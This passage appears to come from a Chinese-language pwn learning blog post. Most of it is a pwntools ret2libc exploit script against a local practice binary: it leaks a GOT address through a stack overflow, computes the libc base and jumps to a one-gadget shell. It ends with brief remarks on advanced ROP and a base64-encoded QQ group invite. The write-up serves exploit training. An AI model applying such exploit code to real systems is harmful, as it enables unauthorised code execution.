#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * context.log_level = 'debug' context(arch='i386', os='linux') # 設置tmux程序 context.terminal = ['/usr/bin/tmux', 'splitw', '-h'] # program module io = process('./vuln6') elf = ELF('./vuln6') lib = ELF("/lib/i386-linux-gnu/libc.so.6") # vuln address SayHello = elf.symbols['SayHello'] # 程序的got表地址 libc_start_main_got = elf.got['__libc_start_main'] # 方法2利用pwntool的ELF模塊之間獲取 lib_start_main = lib.symbols['__libc_start_main'] log.success("SayHello:" + str(hex(SayHello))) # 這里開始調試 gdb.attach(io,'b *0x08048486') pause() # 利用棧溢出調用puts函數泄漏got表地址 payload1 = 'A'*0x16 + p32(elf.plt['puts']) + p32(SayHello) + p32(libc_start_main_got) # payload1 = 'A'*0x16 + 'B'*4 # 格式化字符串可以利用棧上的殘留來獲取 io.sendlineafter('hell', payload1) # 有時候沒辦法獲取的時候加多一個,因為可能有一些垃圾數據 print("start") print(io.recvuntil('n')) print("end") lib_main = u32(io.recvline()[0:4]) libc_base = lib_main - lib_start_main log.success("libc_base:" + str(hex(libc_base))) # 經典retlibc利用公式 retAddress = p32(0xdeadbeef) gets = libc_base + lib.symbols['gets'] # binsh = libc_base + lib.search("/bin/sh").next() oneShell = libc_base + 0x67a7f payload2 = 'A'*0x16 + p32(oneShell) io.sendlineafter('hello', payload2) io.interactive()
0x8.7 高級ROP
這個學習的話,還是得從原理開始慢慢分析,我會在下一遍文章開始講解,順便介紹一下繞過各種保護的經典情況。
0x9 總結
自己學pwn也有好一些日子了,學完高級ROP的內容,就可以開始PWN的堆方面學習了,自己還是很菜,還得繼續努力才行.
ps.本人建立了一個PWN萌新QQ交流群,專門給萌新提供一個良好的解決問題平台,同時也能提高自己。歡迎加入:OTE1NzMzMDY4 (base64)